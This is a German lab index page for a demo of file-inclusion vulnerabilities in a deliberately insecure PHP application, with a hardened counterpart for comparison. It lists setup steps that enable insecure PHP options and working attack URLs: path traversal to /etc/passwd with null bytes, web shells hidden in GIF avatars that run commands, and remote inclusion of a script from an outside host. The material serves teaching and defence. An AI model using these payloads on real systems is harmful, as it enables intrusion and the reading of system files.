Dies ist die Startseite für die verschiedenen Beispiele für Angriffe auf File-Inclusion-Schwachstellen.
Werden die Skripte aus dem ZIP-Archiv statt des VMware-Images verwendet, sind mindestens folgende Anpassungen notwendig:
phpmag/install.php
muss die Konfigurationsdatei in
phpmag/lib/config.inc
angepasst werden. Benötigt werden
der Benutzername und das Passwort des MySQL-Benutzers, der Hostname des
Datenbankservers und der Name der Datenbank. Ist die Datenbank nicht
vorhanden, wird sie vom Installationsskript angelegt.
phpmag-sicher
notwendig.
Die unsichere Anwendung finden Sie im Verzeichnis phpmag/, die sichere Version im Verzeichnis phpmag-sicher/. Die Angriffe liegen jeweils in 2 Versionen vor, für die unsichere und sichere Version.
Ggf, müssen Sie sich im jeweiligen Bereich anmelden. Die Zugangsdaten lauten
In den Formularen der Startseite und des Backend-Bereichs sind die Zugangsdaten bereits vorgegeben, so dass Sie die Formulare nur noch absenden müssen.
Für die Experimente mit den File-Inclusion-Schwachstellen muss PHP
unsicher konfiguriert sein. Das fertige VMware-Image wurde bereits
entsprechend angepasst. Wenn Sie ein altes Image aktualisieren oder die
Tests auf einem eigenen Server (der dann aber besser nicht mit dem Internet
verbunden sein sollte) durchführen, müssen Sie folgende
Änderungen an der php.ini
vornehmen:
register_globals on
allow_url_fopen on
allow_url_include on
(ab PHP 5)
Alle Angriffe werden in einem neuen Fenster geöffnet.
Gezielter Zugriff auf /etc/passwd
ohne Nullbyte:
index.php?sprache=../../../../../etc/passwd
Gezielter Zugriff auf /etc/passwd
:
index.php?sprache=../../../../../etc/passwd%00
Ungezielter Zugriff auf /etc/passwd
:
index.php?sprache=../../../../../../../../../../../etc/passwd%00
Zugriff auf das Bild mit dem phpinfo()
-Aufruf:
index.php?sprache=../../avatare/pwnedinfo.gif%00
Zugriff auf das Bild mit dem system()
-Aufruf und Befehl "ls -lr"
:
index.php?sprache=../../avatare/pwnedshell.gif%00&cmd=ls%20-lr
Zugriff auf die Datei avatare/phpmag610.txt
mit Parameter cmd=nix:
index.php?sprache=../../avatare/phpmag610.txt%00&cmd=nix
Gezielter Zugriff auf /etc/passwd
ohne Nullbyte:
index.php?sprache=../../../../../etc/passwd
Gezielter Zugriff auf /etc/passwd
:
index.php?sprache=../../../../../etc/passwd%00
Ungezielter Zugriff auf /etc/passwd
:
index.php?sprache=../../../../../../../../../../../etc/passwd%00
Zugriff auf das Bild mit dem phpinfo()
-Aufruf:
index.php?sprache=../../avatare/pwnedinfo.gif%00
Zugriff auf das Bild mit dem system()
-Aufruf und Befehl "ls -lr"
:
index.php?sprache=../../avatare/pwnedshell.gif%00&cmd=ls%20-lr
Zugriff auf die Datei avatare/phpmag610.txt
mit Parameter cmd=nix
:
index.php?sprache=../../avatare/phpmag610.txt%00&cmd=nix
Einbinden der entfernten Datei http://www.ceilers-it.de/phpmag/610.txt
:
index.php?rfi=http://www.ceilers-it.de/phpmag/610.txt?&cmd=nix&muell=
Einbinden der entfernten Datei http://www.ceilers-it.de/phpmag/610.txt
:
index.php?rfi=http://www.ceilers-it.de/phpmag/610.txt?&cmd=nix&muell=
Sie müssen sich vor den Tests im Backend anmelden! >
Normaler Zugriff auf das Plugin:
backend/index.php?plugin=plugin
Test mit plugin=gibtsnicht/../plugin
:
backend/index.php?plugin=gibtsnicht/../plugin
Ungezielter Zugriff auf /etc/passwd
:
backend/index.php?plugin=../../../../../../../../../etc/passwd%00
Zugriff auf plugin=index.php%00
:
backend/index.php?plugin=index.php%00
Zugriff auf plugin=../index.php%00
:
backend/index.php?plugin=../index.php%00
Zugriff auf plugin=http://www.ceilers-it.de/phpmag/610.txt?cmd=nix&muell=:
backend/index.php?plugin=http://www.ceilers-it.de/phpmag/610.txt?cmd=nix&muell=
In diesem
Skript
können Sie mit einigen Datei-Funktionen wie z.B. realpath()
,
basename()
und is_file()
experimentieren.
Carsten Eilers